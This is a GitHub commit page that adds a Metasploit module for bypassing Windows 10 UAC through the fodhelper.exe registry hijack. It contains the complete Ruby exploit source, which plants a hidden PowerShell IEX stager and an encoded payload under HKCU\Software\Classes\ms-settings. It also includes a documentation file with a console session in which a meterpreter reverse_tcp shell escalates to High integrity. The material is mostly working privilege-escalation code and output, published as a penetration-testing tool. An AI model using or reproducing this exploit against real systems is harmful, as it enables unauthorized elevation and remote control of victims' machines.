Skip to content

Commit 99fa52e

Browse files
committed
Land rapid7#8434, Add Windows 10 Bypassuac fodhelper module
2 parents 3e27fd3 + e5e3be3 commit 99fa52e

File tree

2 files changed

+300
-0
lines changed

2 files changed

+300
-0
lines changed
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
## Intro
2+
3+
This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
4+
the current user hive, and inserting a custom command that will get invoked when
5+
the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
6+
flag turned off.
7+
8+
This module modifies a registry key, but cleans up the key once the payload has
9+
been invoked.
10+
11+
The module does not require the architecture of the payload to match the OS. If
12+
specifying EXE::Custom your DLL should call ExitProcess() after starting your
13+
payload in a separate process.
14+
15+
## Usage
16+
17+
You'll first need to obtain a session on the target system.
18+
Next, once the module is loaded, one simply needs to set the ```payload``` and ```session``` options.
19+
The module use an hardcoded timeout of 5 seconds during which it expects fodhelper.exe to be launched on the target system.
20+
On slower system this may be too short, resulting in no session being created. In this case disable the automatic payload handler (`set DISABLEPAYLOADHANDLER true`)
21+
and manually create a job handler corresponding to the payload.
22+
23+
24+
##Scenario
25+
26+
```
27+
msf >
28+
[*] Sending stage (1189423 bytes) to 192.168.50.4
29+
[*] Meterpreter session 11 opened (192.168.50.1:4444 -> 192.168.50.4:1654) at 2017-05-22 19:10:43 +0100
30+
31+
msf > sessions -i 11
32+
[*] Starting interaction with 11...
33+
34+
meterpreter > shell
35+
Process 9496 created.
36+
Channel 1 created.
37+
Microsoft Windows [Version 10.0.14393]
38+
(c) 2016 Microsoft Corporation. All rights reserved.
39+
40+
C:\Users\sasha\Desktop>whoami /all | findstr /C:"Mandatory Label"
41+
whoami /all | findstr /C:"Mandatory Label"
42+
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
43+
44+
C:\Users\sasha\Desktop>exit
45+
exit
46+
meterpreter >
47+
Background session 11? [y/N]
48+
msf > use exploit/windows/local/bypassuac_fodhelper
49+
msf exploit(bypassuac_fodhelper) > set SESSION 11
50+
SESSION => 11
51+
msf exploit(bypassuac_fodhelper) > show targets
52+
53+
Exploit targets:
54+
55+
Id Name
56+
-- ----
57+
0 Windows x86
58+
1 Windows x64
59+
60+
61+
msf exploit(bypassuac_fodhelper) > set target 0
62+
target => 0
63+
msf exploit(bypassuac_fodhelper) > set payload windows/meterpreter/reverse_tcp
64+
payload => windows/meterpreter/reverse_tcp
65+
msf exploit(bypassuac_fodhelper) > run
66+
67+
[*] Started reverse TCP handler on 192.168.50.1:4445
68+
[*] UAC is Enabled, checking level...
69+
[+] Part of Administrators group! Continuing...
70+
[+] UAC is set to Default
71+
[+] BypassUAC can bypass this setting, continuing...
72+
[*] Configuring payload and stager registry keys ...
73+
[*] Executing payload: C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\System32\fodhelper.exe
74+
[*] Sending stage (957487 bytes) to 192.168.50.4
75+
[*] Meterpreter session 12 opened (192.168.50.1:4445 -> 192.168.50.4:1655) at 2017-05-22 19:12:03 +0100
76+
[*] Cleaining up registry keys ...
77+
78+
meterpreter > shell
79+
Process 4076 created.
80+
Channel 1 created.
81+
Microsoft Windows [Version 10.0.14393]
82+
(c) 2016 Microsoft Corporation. All rights reserved.
83+
84+
C:\WINDOWS\system32>whoami /all | findstr /C:"Mandatory Label"
85+
whoami /all | findstr /C:"Mandatory Label"
86+
ERROR: Unable to get user claims information.
87+
Mandatory Label\High Mandatory Level Label S-1-16-12288
88+
89+
C:\WINDOWS\system32>
90+
91+
```
Lines changed: 209 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,209 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/exploit/exe'
7+
require 'msf/core/exploit/powershell'
8+
9+
class MetasploitModule < Msf::Exploit::Local
10+
Rank = ExcellentRanking
11+
12+
include Exploit::Powershell
13+
include Post::Windows::Priv
14+
include Post::Windows::Registry
15+
include Post::Windows::Runas
16+
17+
FODHELPER_DEL_KEY = "HKCU\\Software\\Classes\\ms-settings".freeze
18+
FODHELPER_WRITE_KEY = "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command".freeze
19+
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
20+
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
21+
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
22+
FODHELPER_PATH = "%WINDIR%\\System32\\fodhelper.exe".freeze
23+
CMD_MAX_LEN = 16383
24+
25+
def initialize(info = {})
26+
super(
27+
update_info(
28+
info,
29+
'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)',
30+
'Description' => %q{
31+
This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
32+
the current user hive, and inserting a custom command that will get invoked when
33+
the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
34+
flag turned off.
35+
36+
This module modifies a registry key, but cleans up the key once the payload has
37+
been invoked.
38+
39+
The module does not require the architecture of the payload to match the OS. If
40+
specifying EXE::Custom your DLL should call ExitProcess() after starting your
41+
payload in a separate process.
42+
},
43+
'License' => MSF_LICENSE,
44+
'Author' => [
45+
'winscriptingblog', # UAC bypass discovery and research
46+
'amaloteaux', # MSF module
47+
],
48+
'Platform' => ['win'],
49+
'SessionTypes' => ['meterpreter'],
50+
'Targets' => [
51+
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
52+
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
53+
],
54+
'DefaultTarget' => 0,
55+
'References' => [
56+
[
57+
'URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/',
58+
'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'
59+
]
60+
],
61+
'DisclosureDate' => 'May 12 2017'
62+
)
63+
)
64+
end
65+
66+
def check
67+
if sysinfo['OS'] =~ /Windows (10)/ && is_uac_enabled?
68+
Exploit::CheckCode::Appears
69+
else
70+
Exploit::CheckCode::Safe
71+
end
72+
end
73+
74+
def exploit
75+
commspec = '%COMSPEC%'
76+
registry_view = REGISTRY_VIEW_NATIVE
77+
psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
78+
79+
# Make sure we have a sane payload configuration
80+
if sysinfo['Architecture'] == ARCH_X64
81+
if session.arch == ARCH_X86
82+
# fodhelper.exe is x64 only exe
83+
commspec = '%WINDIR%\\Sysnative\\cmd.exe'
84+
if target_arch.first == ARCH_X64
85+
# We can't use absolute path here as
86+
# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
87+
psh_path = "powershell.exe"
88+
end
89+
end
90+
if target_arch.first == ARCH_X86
91+
# Invoking x86, so switch to SysWOW64
92+
psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe"
93+
end
94+
else
95+
# if we're on x86, we can't handle x64 payloads
96+
if target_arch.first == ARCH_X64
97+
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
98+
end
99+
end
100+
101+
if !payload.arch.empty? && (payload.arch.first != target_arch.first)
102+
fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
103+
end
104+
105+
# Validate that we can actually do things before we bother
106+
# doing any more work
107+
check_permissions!
108+
109+
case get_uac_level
110+
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
111+
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
112+
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
113+
fail_with(Failure::NotVulnerable,
114+
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
115+
when UAC_DEFAULT
116+
print_good('UAC is set to Default')
117+
print_good('BypassUAC can bypass this setting, continuing...')
118+
when UAC_NO_PROMPT
119+
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
120+
shell_execute_exe
121+
return
122+
end
123+
124+
payload_value = rand_text_alpha(8)
125+
psh_path = expand_path(psh_path)
126+
127+
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
128+
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)
129+
130+
if psh_payload.length > CMD_MAX_LEN
131+
fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")
132+
end
133+
134+
psh_stager = "\"IEX (Get-ItemProperty -Path #{FODHELPER_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
135+
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
136+
137+
existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
138+
exist_delegate = !registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?
139+
140+
if existing.empty?
141+
registry_createkey(FODHELPER_WRITE_KEY, registry_view)
142+
end
143+
144+
print_status("Configuring payload and stager registry keys ...")
145+
unless exist_delegate
146+
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
147+
end
148+
149+
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
150+
registry_setvaldata(FODHELPER_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
151+
152+
# Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
153+
cmd_path = expand_path(commspec)
154+
cmd_args = expand_path("/c #{FODHELPER_PATH}")
155+
print_status("Executing payload: #{cmd_path} #{cmd_args}")
156+
157+
# We can't use cmd_exec here because it blocks, waiting for a result.
158+
client.sys.process.execute(cmd_path, cmd_args, { 'Hidden' => true })
159+
160+
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
161+
# TODO: fix this up to use something smarter than a timeout?
162+
Rex::sleep(5)
163+
164+
handler(client)
165+
166+
print_status("Cleaining up registry keys ...")
167+
unless exist_delegate
168+
registry_deleteval(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
169+
end
170+
if existing.empty?
171+
registry_deletekey(FODHELPER_DEL_KEY, registry_view)
172+
else
173+
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
174+
end
175+
registry_deleteval(FODHELPER_WRITE_KEY, payload_value, registry_view)
176+
end
177+
178+
def check_permissions!
179+
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
180+
181+
# Check if you are an admin
182+
vprint_status('Checking admin status...')
183+
admin_group = is_in_admin_group?
184+
185+
unless check == Exploit::CheckCode::Appears
186+
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
187+
end
188+
189+
unless is_in_admin_group?
190+
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
191+
end
192+
193+
print_status('UAC is Enabled, checking level...')
194+
if admin_group.nil?
195+
print_error('Either whoami is not there or failed to execute')
196+
print_error('Continuing under assumption you already checked...')
197+
else
198+
if admin_group
199+
print_good('Part of Administrators group! Continuing...')
200+
else
201+
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
202+
end
203+
end
204+
205+
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
206+
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
207+
end
208+
end
209+
end

0 commit comments

Comments
 (0)